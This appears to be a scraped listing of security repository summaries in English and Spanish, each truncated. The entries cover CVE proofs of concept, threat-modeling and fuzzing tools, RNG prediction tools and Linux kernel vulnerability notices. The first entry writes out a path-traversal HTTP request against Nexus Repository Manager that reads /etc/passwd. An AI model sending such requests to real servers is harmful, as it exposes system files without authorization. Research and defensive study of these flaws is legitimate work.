CVE-2024-4956-PoC

title="Nexus Repository Manager" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

pytm

pytm: Un framework Pythonic para el modelado de amenazas Introducción El modelado de amenazas tradicional con demasiada frecuencia llega tarde a la fiesta, o a veces no llega en absoluto. Además, crear flujos de datos y informes manuales puede llevar muchísimo tiempo. El objetivo de pytm es...

Absolutely-Positively-NOT-Hacking-Back-with-Pcap

Absolutamente Positivamente NO Contraatacar con Pcap Transmitiendo Secuencias Inesperadas de Bytes de Red con Alta Probabilidad de Pantallazo Azul o De lo Contrario Bloquear Nodos de Comando y Control del Atacante Esto se presentó en TheSAS2019: https://www.youtube.com/watch?v=Z1-4-amGdaM...

pytm

pytm: A Pythonic framework for threat modeling Introduction Traditional threat modeling too often comes late to the party, or sometimes not at all. In addition, creating manual data flows and reports can be extremely time-consuming. The goal of pytm is to shift threat modeling to the left, making...

pytm

pytm: Un marco Pythonico para modelado de amenazas Introducción El modelado de amenazas tradicional a menudo llega tarde a la fiesta, o a veces no llega en absoluto. Además, crear flujos de datos e informes manuales puede ser extremadamente lento. El objetivo de pytm es desplazar el modelado de...

haptyc

Haptyc Test Generation Framework What's Haptyc? Haptyc is a python library which was built to add payload position support and Sniper/Clusterbomb/Batteringram/Pitchfork attack types into Turbo Intruder. While Haptyc accomplishes these goals fairly well it also introduces a simpler way to express...

bst

Binary String Toolkit Summary The Binary String Toolkit or BST for short is a rather simple utility to convert binary strings to various formats suitable for inclusions in source codes, such as those used to develop exploits and Proof of Concepts in the security field. Features Convert and dump...

ML-for-RNGs

ML-for-RNGs Usando Machine Learning para predecir secuencias de RNGs...

CVE-2026-23010-CCSDS-Telecommand-Replay-Without-Sequence-Number

CVE-2026-23010 – CCSDS Telecommand Replay Without Sequence Number Program Code Python satellite sim satellitesim.py - Spacecraft that executes telecommands without checking sequence number class Satellite: def initself: self.executed = set def receivetcself, cmdid, seqnum: Vulnerability: ignores...

ReplicatedRandom

Node MWC1616 Consulta el README en la carpeta node Java LCG Dado un double generado por nextDouble de un java.util.Random, recrea un Random con el mismo estado. Este ReplicatedRandom se puede usar entonces para predecir los valores futuros del Random original. Ejemplo: Random r = new Random;...

mountain_goat

Hola, soy una cabra montesa y voy a embestir tus conexiones TCP, porque eso es algo muy de cabras. Esta es una PoC que demuestra técnicas que explotan CVE-2016-5696 Off-Path TCP Exploits: Global Rate Limit Considered Dangerous por Yue Cao, Zhiyun Qian, Zhongjie Wang, Tuan Dao, Srikanth V...

cve-2021-41773-exploration

Resumen CVE-2021-41773 es una vulnerabilidad de path traversal descubierta en Apache HTTP Server 2.4.49 en octubre de 2021. La causa raíz fue una falla en la normalización adecuada de las secuencias de puntos terminadas en la URL antes de verificar si la ruta solicitada permanecía dentro de la ra...

CVE-2026-18963_analyst

Open Source Identity and Access Management Add authentication to applications and secure services with minimum effort. No need to deal with storing users or authenticating users. Keycloak provides user federation, strong authentication, user management, fine-grained authorization, and more. Help...

CVE-2026-28867-PoC

CVE-2026-28867 How it works The vulnerability exists because the kernel implementation of tcpsysctlinfo performs a global lookup for the connection without verifying that the calling process either owns the socket or possesses elevated privileges like root. Impact An unprivileged attacker can...

CVE-2023-33105-Transient-DOS-in-WLAN-Host-and-Firmware

CVE-2023-33105: DoS transitorio en WLAN Host y Firmware Descripción general Este repositorio contiene el código de explotación para CVE-2023-33105, una vulnerabilidad identificada en dispositivos Qualcomm. El exploit aprovecha tramas de autenticación para realizar un ataque de denegación de...

poc-cve-2024-38396

CVE-2024-38396 y CVE-2024-38395 Este PoC puede usarse ya sea mediante docker run o simplemente cat. Este repositorio contiene el archivo docker para vin01/escape-seq-test:cve-2024-38396. El PoC simplemente abre una calculadora en OS X. Cómo ejecutar: Ejemplo 1. cat...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ublk: The SQE128 flag is validated before accessing the cmd field. The ublkctrlcmddump function accesses the sqe-cmd field before checking the IOURINGFSQE128 flag. This could lead to out-of-boundary memory access. The flag...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: tracing: Fixed an out-of-bounds write in traceseqtobuffer. syzbot reported this bug: ================================================================== Bug: KASAN: Out-of-bounds access in traceseqtobuffer in...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, Linux, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: DCCP: Fixed out-of-bounds access in the DCCP error handler. There was a previous attempt to fix an out-of-bounds access in the DCCP error handlers, but that fix assumed that the error handlers only wanted to access the first 8...

CVE-2025-69720

CVE-2025-69720: Desbordamiento de búfer en pila de ncurses infocmp -i CWE-121 Reportante: Yixuan Cao Universidad de Shenzhen, [email protected] Entorno Host: openEuler 22.03 LTS Linux aarch64 Toolchain: sistema clang 12.0.1 + AddressSanitizer Fuente: ncurses-6.4 y ncurses-6.5 anterior al...